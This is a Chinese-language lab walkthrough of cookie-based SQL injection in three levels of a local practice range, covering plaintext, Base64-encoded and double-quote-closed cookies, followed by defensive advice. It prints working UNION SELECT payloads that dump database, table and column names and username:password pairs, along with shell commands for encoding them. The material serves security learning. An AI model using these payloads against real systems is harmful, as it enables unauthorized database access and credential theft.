☰
SQL注入进阶:Cookie注入三关实战与Base64编码绕过解析
2026/10/15 6:48:36 网站建设 项目流程

很长一段时间我都觉得,SQL注入只要会拼参数就够了。直到把本地那套SQL注入练习靶场从头开始刷,刷到第20关时才发现,之前用顺手的那套经验基本失灵——URL上没有参数,POST体里也没有可改的字段,但你只要动一下登录成功后浏览器里那个Cookie值,页面照样能跟着变。这套靶场的第20、21、22关,讲的全是同一件事:Cookie注入。而且它设计得特别像一条完整的进阶路线:第20关是纯字符型注入,第21关加了Base64编码,第22关在Base64的基础上又把单引号改成了双引号。三关连在一起刷完,你基本就建立了“注入点不一定在参数里”的认知。如果你正准备攻这三关,或者刷到一半卡住了,这篇文章应该能直接帮你跨过去。

1. 第20到22关的“换战场”意义:注入点离开URL之后

1.1 为什么前19关的经验突然不灵了

在前面那些关卡的练习里,我们的习惯动作是盯住URL问号后面的参数,或者盯着POST数据包里的字段,然后在这些位置尝试各种闭合和联合查询。这套思路没有问题,因为前面的关卡天然把注入点放在了URL参数和POST参数上。

但第20关打开之后,很多人第一反应是懵:页面就是一个登录框,登录进去之后只有一个账号信息展示页面,URL里干干净净,没有任何可以动手脚的参数。这时候如果你还执着于在URL或者POST数据里找注入点,大概率一无所获。

实际上,这套靶场在这里做了一个很典型的设计转变:注入点不在URL里,也不在POST体里,而藏在登录成功后服务端下发的Cookie里。服务端会把你登录时使用的用户名直接写进Cookie,等你在站内跳转时,再从Cookie里取出这个值拼接进SQL查询。整个过程对普通用户完全不可见,但对做注入测试的人来说,这就是一个非常典型的“隐藏注入点”。

我见过不少人在这一关卡了很久,不是因为技术不够,而是思维方式没有切换过来。他们一直在找“哪里有参数”,却忽略了HTTP请求的任何一个部分——URL、POST体、Cookie、甚至Referer头——都可能成为后端拼接SQL的数据来源。第20关的“换战场”,本质上是逼你从“找参数”变成“找后端从哪里取数据”。

1.2 三关的递进关系:一个家族三种难度

第20、21、22关在剧情上是连续的,技术上也是同一个家族的变体。第20关是最基础的Cookie注入,Cookie值是明文,闭合方式是单引号;第21关把Cookie值做了一次Base64编码,你需要先把payload编码后再提交;第22关则是在Base64编码的基础上,把闭合字符换成了双引号。

先看一眼三关的对比,后面我们一关一关拆:

关卡注入位置Cookie原始值形态闭合字符核心难点
第20关Cookie中的uname字段明文,如admin单引号发现注入点从URL转移到Cookie
第21关Cookie中的uname字段Base64编码,如YWRtaW4=单引号payload必须先做Base64编码
第22关Cookie中的uname字段Base64编码双引号闭合字符变成双引号,判断方式不同

这个设计有很强的教学意图:第20关让你理解“Cookie可以做注入点”,第21关让你理解“编码不等于过滤”,第22关让你理解“闭合方式必须准确识别”。三关每一步都只增加一个变量,方便你去对比。

1.3 适合谁来刷这三关

如果你刚接触SQL注入,前面几关做过但还没形成系统思路,这三关正好可以帮你补上“HTTP全局数据源”这块拼图。如果你已经会手工注入,但只会在URL参数上操作,这三关也能帮你把思路从“参数扫描”提升到“全请求分析”。

2. Cookie参数是怎么变成SQL一部分的:登录闭环的逆向拆解

2.1 服务端把用户名写进Cookie,再在下一次请求中取出来拼SQL

要理解Cookie注入,先要搞清楚后端是怎么处理Cookie的。以这套靶场第20关为例,后台处理逻辑和下面这段PHP代码非常接近:

// 登录成功后,把用户名直接写进Cookie $username = $_POST['uname']; setcookie("uname", $username, time() + 3600);

登录成功后,服务端返回的响应头里会带着一个Set-Cookie。你再用浏览器或者抓包工具看这次请求,就能看到类似这样的Cookie:

Cookie: uname=admin

后面的页面在处理请求时,直接把Cookie里的uname取出来拼进了SQL:

$uname = $_COOKIE['uname']; $sql = "SELECT username, password FROM users WHERE username='$uname' LIMIT 0,1"; $result = mysqli_query($conn, $sql);

这段代码就是全部问题的根源:Cookie值在没有任何过滤的情况下,被直接拼接进了SQL语句的字符串里,而且外面还套了一层单引号。你传进去的Cookie值,就成了SQL语句的一部分。

2.2 判断Cookie注入的关键动作:改Cookie值,看页面反应

手工测试Cookie注入,核心动作只有一个:修改Cookie值,重放请求,观察页面回显变化。具体操作顺序是这样的:

  1. 先用正常账号登录靶场,比如用admin / admin。
  2. 打开抓包工具或者浏览器开发者工具,找到当前请求里的Cookie头。
  3. 把Cookie里uname的值改掉,重新发给服务端。
  4. 对比修改前后的页面内容变化。

这和地方上查URL参数注入的思路完全一样,只是改动的位置从URL搬到了Cookie头。第一次做的时候,建议老老实实用抓包工具走一遍流程,亲眼看到请求头和响应内容的变化,比你脑补十遍都管用。

2.3 环境准备和个人工具习惯

做这三关练习,本地环境的准备其实很简单:一套能在本地跑起来的SQL注入靶场,一个能编辑和重放请求的抓包工具,再加一个看得顺眼的浏览器就够了。我个人习惯是把抓包工具和浏览器配合用:浏览器负责登录,抓包工具负责改Cookie和重放。

有一点值得提醒:不要在一开始就上自动化注入工具。第20关到第22关的练习价值,恰恰在于手工理解“数据从哪里进、怎么进SQL、为什么能注入”。自动化工具往往默认扫URL参数,对Cookie注入的覆盖逻辑很不一样,反而容易把你带偏。

3. 第20关实战:字符型Cookie注入的完整链路

3.1 登录后确认Cookie值,找到真正的可操作点

先正常登录,进入账号信息页面。这时用抓包工具看一眼请求,你会看到Cookie头里有一个uname字段,值就是刚才登录用的用户名,比如admin。

这一步花不了多少时间,但一定别跳过。很多新手一上来就脑补“注入点应该在这里”,结果连Cookie里字段名都没搞清就瞎改。实际操作中,我习惯先把正常请求完整看一眼:URL是什么、Cookie有哪些字段、正文参数是什么,脑子里先形成一个基准线,后面改动才有对照。

3.2 单引号试探:看到反常就停一下

确认基准请求之后,把Cookie里的uname从admin改成admin',也就是在末尾加一个单引号,然后重放请求。

服务端这时会执行这样一条SQL:

SELECT username, password FROM users WHERE username='admin'' LIMIT 0,1

SQL语句里出现了连续两个单引号,字符串的闭合关系被打破,整个语句语法错误。反映到页面上,就是原有的账号信息回显区域空了,或者页面表现异常。

这个“页面异常”就是注入存在的信号。它还同时透露了另一个信息:闭合方式是单引号,因为多了一个单引号就破坏了语法结构。

3.3 order by判断列数,不凭感觉猜

确认注入点之后,下一步是判断查询返回的列数。这个环节我喜欢用order by而不是猜,因为猜出来的数字往往不靠谱。

把Cookie值改成:

admin' order by 3--+

重放请求,如果页面正常回显,就说明当前查询的列数至少是3。然后继续把数字往上加:

admin' order by 4--+

如果这次页面没有正常回显,说明实际列数小于4。结合前一步的结果,就能确定当前查询一共有3列。

注意这里payload末尾的--+作用非常重要。它把注入点后面的SQL内容整段注释掉,包括原SQL语句里最后面的LIMIT 0,1。如果没有注释符号,整个SQL会因为多出来的单引号和LIMIT而被MySQL判为语法错误,前面的所有尝试都会失败。

3.4 union select定位回显位,再爆数据

确认列数是3之后,用union select来定位页面上的回显位置。为了让前面那段查询不干扰结果,我会习惯性地在查询条件上加一个永假条件,比如:

admin' and 1=0 union select 1,2,3--+

这样第一个select查不出任何数据,页面上显示的数据就完全来自union后面的第二个select。你会在页面的某个位置看到2,另一个位置看到3,这两个位置就是我们的“显示器”。

接下来就是常规的信息收集流程,我直接列一下完整payload:

  • 爆当前数据库名:
admin' and 1=0 union select 1,database(),3--+
  • 爆当前库下所有表名:
admin' and 1=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
  • 爆某张表的所有字段名,以users表为例:
admin' and 1=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

这里顺便说明一下为什么表名要写成0x7573657273:因为整个payload最终拼进SQL后,字符串引号的处理容易出幺蛾子。直接写table_name='users'会多出一对单引号,在某些闭合场景下会把SQL搞坏。用十六进制表示字符串,既绕开了引号问题,又不影响查询结果。

  • 取users表里的用户名和密码:
admin' and 1=0 union select 1,group_concat(username,0x3a,password),3 from users--+

这里的0x3a是冒号的十六进制表示,作用只是把用户名字段和密码字段在结果里拼成一个带分隔符的字符串。

至此,整套靶场的第20关就算完整走通了。你从“看到URL里没有参数”开始,到最后把users表里的账号密码全部捞出来,整个过程没有用到URL参数,也没有用到POST参数,完全靠修改Cookie完成。

3.5 第20关最应该带走的东西

第20关真正的增量不在于那几个SQL函数,而在于建立一种认知:注入点不一定以参数形式出现在URL或者请求体里,任何能被后端取出并拼接进SQL的输入源,都是潜在注入点。Cookie是其中最常见的载体,因为很多人觉得Cookie是浏览器自动维护的,不会有人去改它。

把这一关的整套流程跑熟,再去刷第21关和第22关,你只需要关注两个新变量:编码形式和闭合字符。

4. 第21关实战:Base64编码挡不住注入,但挡得住“肉眼”

4.1 第一次看到Cookie值是“乱码”时,先别慌

进入第21关,重复第20关的登录流程,登录成功后你会发现Cookie里的uname字段长得不一样了。它不再是admin,而是一串看起来像乱码的东西,比如YWRtaW4=。

这个字符串就是admin的Base64编码。Base64是什么?简单说,它是一种把二进制数据用64个可打印字符表示的编码方式。因为HTTP协议和很多系统设计上偏爱可打印字符,Base64在实际系统里被大量使用。

服务端拿到这个Base64字符串之后,会先做一次解码,再把解码结果拿去拼SQL:

$uname = base64_decode($_COOKIE['uname']); $sql = "SELECT username, password FROM users WHERE username='$uname' LIMIT 0,1";

看到这里你应该已经明白了:Base64只是改变了数据传输时的外观,服务端解码之后拿到的还是原始字符串。如果原始字符串里带着注入payload,解码后依然会拼进SQL,注入照样成立。

4.2 正确姿势:明文payload先编码,再放进Cookie

这一关最常踩的坑就是:很多人直接拿第20关的明文payload往Cookie里一填,比如admin' union select 1,2,3--+,结果页面没有任何反应。

原因很简单,服务端拿到这个字符串后会先执行base64_decode。而admin' union select 1,2,3--+根本不是合法的Base64字符串,解码出来的数据是乱码或者干脆失败,拼进SQL之后自然也不会按你预期执行。

正确顺序是先构造明文payload,再对它做Base64编码,然后把编码结果填进Cookie。比如明文payload:

admin' and 1=0 union select 1,database(),3--+

对它做Base64编码,得到类似这样的字符串:

YWRtaW4nIGFuZCAxPTAgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzLS0r

然后把Cookie里的uname值替换成这段编码串,重放请求,页面上就会出现当前数据库名。

4.3 编码前后的完整对照与工具操作

用命令行做Base64编码其实非常方便。在Linux或Mac的终端里执行:

echo -n "admin' and 1=0 union select 1,database(),3--+" | base64

Windows环境也可以用CertUtil或者在线工具,只要确认编码结果一致就行。

我平时会建一个小笔记,把明文payload和编码结果成对记录下来。因为这关的payload经过编码之后根本没法肉眼阅读,一旦多试几次,很容易记混“这个编码串到底是哪条payload”。成对记录能省下大量排错时间。

4.4 编码不等于安全的底层逻辑

为什么Base64编码看起来很“安全”却挡不住注入?关键在顺序:服务端是先解码,再拼接SQL。解码发生在拼接之前,所以payload在到达SQL之前已经恢复成明文了。

如果服务端的处理顺序反过来,先拼接SQL再对整体做Base64编码,那注入当然不成立,但这个场景几乎不存在。真实系统里真正的安全机制应该是参数化查询、过滤函数、预编译语句,而不是给数据包上一层“让人觉得看不懂”的编码。

这一关学完,你应该建立起一个明确的判断标准:任何编码方案如果发生在输入校验之前,都不会提供真正的安全性。它影响的只是你操作时的复杂度,而不是漏洞是否存在。

5. 第22关:双引号加Base64,三关里的最后一记组合拳

5.1 先做编码再判断闭合,顺序不能反

第22关的界面和第21关非常相似,登录后的Cookie同样是Base64编码的。很多人刷到这关时,因为前两关已经形成了路径依赖,直接用单引号payload一通操作,发现怎么都不对。

这里的差别在于后台拼接SQL时用了双引号。简化后的处理逻辑等价于:

$uname = base64_decode($_COOKIE['uname']); $sql = "SELECT username, password FROM users WHERE username=\"$uname\" LIMIT 0,1";

所以你在判断闭合方式时,不能直接用明文单引号去试。正确做法是先把候选闭合字符编码成Base64,再放进Cookie里重放,观察页面反应。

5.2 区分双引号和单引号的实测逻辑

把Cookie里的uname改成admin'(即先构造明文admin',再Base64编码)提交,服务端执行的SQL是:

SELECT username, password FROM users WHERE username="admin'" LIMIT 0,1

这段SQL是语法合法的,因为admin'被双引号包起来,单引号只是字符串内部的一个普通字符。所以页面不会报错,只是查询结果为空,表现为没有账号信息回显。

再把Cookie改成admin"(同样先明文后编码)提交,服务端执行的SQL变成:

SELECT username, password FROM users WHERE username="admin"" LIMIT 0,1

这里出现了两个连续的双引号,第一个双引号结束了字符串,第二个双引号又开启一个新字符串,却没有对应的闭合引号,整个语句语法错误,页面立刻异常。

对比这两个结果,你就能确认:这一关的闭合字符串是双引号,不是单引号。

我第二次刷这一关时,曾经因为偷懒只试了单引号就直接套用第21关的payload,结果浪费了很多时间。后来老老实实把两种引号都编码后重放一遍,一句话就定位了问题。手工注入里,“多试一遍”真的比“多想一遍”管用。

5.3 双引号闭合的完整payload流程

确认双引号闭合之后,构造payload的思路和第20、21关完全一致,只需要把闭合符从单引号换成双引号。取当前数据库名的完整操作过程如下:

  1. 先写明文payload:
admin" and 1=0 union select 1,database(),3--+
  1. 对整条字符串做Base64编码:
echo -n "admin\" and 1=0 union select 1,database(),3--+" | base64

命令行里别忘了对双引号做转义,不然Shell会把它当成语法的一部分。编码结果填进Cookie的uname字段,重放请求,页面回显数据库名。

后面爆表、爆字段、取数据的操作完全复用第20关的SQL写法,只是闭合字符维持双引号。比如取users表的数据:

admin" and 1=0 union select 1,group_concat(username,0x3a,password),3 from users--+

编码后提交,一样能拿到账号密码。

5.4 三关横向对比:同一套后端逻辑,三种难度层

把三关放在一起看会很清晰:第20关教你在Cookie里做最基础的字符型注入;第21关告诉你数据经过编码后,你的payload也要跟着编码;第22关提醒你闭合字符可能和上一关不一样,必须通过实测确认。

这三关一起做完,你对“HTTP数据源”和“SQL拼接”这两件事的理解会比只刷一个单关深入得多。我现在每次带新人刷这套靶场,都会建议他们三关连着刷,不要跳关,也不要用工具一把梭。

6. 从靶场走向真实世界:Cookie注入的现实利用思路和防御对照

6.1 真实系统里Cookie注入通常出现在哪

理论上,任何把Cookie值直接拼进SQL的系统都可能出现Cookie注入。现实中更常见的是这几种情况:一是“记住我”功能,把用户名或者用户ID直接写进Cookie,下次访问时免登录直接取出来;二是购物车或者临时偏好设置,把商品ID或者选择项放在Cookie里,后端根据这个值去查商品信息;三是有些老系统的session机制设计得不规范,把账号名直接存在Cookie而不是存一串随机的会话标识。

这些场景的共同点,就是把本应该在后端管理的数据,直接交给了客户端浏览器。Cookie可以被用户任意修改,任何被改动的值只要参与了SQL拼接,就都有注入风险。

6.2 防御层面对照:编码不是边界,参数化才是

我自己做防御侧研究时,最深的体会是:拦注入不能靠“让输入变得难懂”,必须从SQL执行机制入手。

  • 第一道防线是参数化查询或者预编译语句。把SQL结构固定住,用户输入一律作为参数传递,这样无论进来的是引号还是注释符,都只是数据,而不是SQL逻辑的一部分。
  • 第二道防线是输入校验。对确实需要拼进SQL的值做白名单校验,比如预期是数字,就必须是纯数字;预期是特定枚举值,就不允许出现其他字符。
  • 第三道防线才是各种编码和过滤。这类手段不是为了防注入,而是为了增加攻击成本和减小攻击面。如果你把Base64当成安全机制,很快就会被最简单的解码操作击穿。

Cookie本身的安全设计也应该遵守同一个原则:Cookie里只存会话标识(一个随机字符串),不要把用户名、角色、权限这些业务数据直接暴露给客户端。这样即使客户端修改了Cookie,后端也查不到可拼接的业务字段,注入自然无从谈起。

6.3 一个必须说清楚的边界

这三关的全部操作,都应该在本地靶场或者你自己拥有明确授权的测试环境中进行。未经授权对任何线上站点做注入测试,都是违法行为,这个边界没有任何灰色地带。靶场的设计初衷就是让安全学习有地方可以放手练,练完把思路带到防御工作中,而不是把攻击手法应用到不该用的地方。

7. 实操中我踩过的坑和值得留存的小技巧

7.1 最容易被新手忽略的三件事

第一件是登录态丢失。Cookie注入测试必须建立在已登录状态上,因为服务端只有在登录后才把用户名写进Cookie,也只有在登录态的后续请求中才会从Cookie取值拼SQL。如果你把Cookie改了之后页面跳回了登录页,先检查登录态是不是被你自己改没了。

第二件是注释符里的加号问题。--+里的加号在某些工具或者某种处理环境下,可能会被转换成空格,导致注释符失效。遇到payload看起来没问题、但页面一直异常的情况,可以试试把--+换成-- (两个连字符加一个空格),或者改成#,在Cookie头里#不会像URL里那样被截断。

第三件是Base64编码后的长度问题。手工复制编码串时经常漏掉末尾的等号填充。比如YWRtaW4=少一个=,解码结果就变了。填进Cookie之后可能不报错,但也不回显,容易误导你对闭合方式的判断。

7.2 手工复现为什么比自动化工具更适合这三关

自动化工具在扫到URL参数时会很顺手,但对Cookie注入的覆盖往往不够精准。原因是工具默认的测试目标集合里,Cookie是一个很特殊的输入点——它同时承担着会话验证的功能,如果工具改了Cookie却丢了登录态,后面所有测试都会被登录页挡住。

手工改包每次都知道自己改了什么、改完页面发生了什么变化,排错链路非常清晰。这三关本质上难度不算高,但信息密度大,手工走一遍顶得上工具自动扫十遍。

7.3 一个可以一直用的复盘习惯

我现在刷靶场有个固定习惯:每个关卡都建立一个备忘录,记录三样东西——原始请求长什么样、我改了哪里、页面有什么反应。特别是第21关和第22关,明文payload和编码后payload必须成对记录。

这个习惯看起来朴素,但真的是我多次刷关后总结出来的最省时间的做法。编码后的字符串没法肉眼阅读,过两天再回头翻记录,如果没有明文对照,你根本想不起来当时测到哪一步。有了记录,不仅复盘效率高,还能随时拿出来对比不同闭合方式、不同编码条件下的行为差异。这三关刷完之后,你对Cookie注入的理解,应该已经不输给那些只会对着URL扫参数的人一大截。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询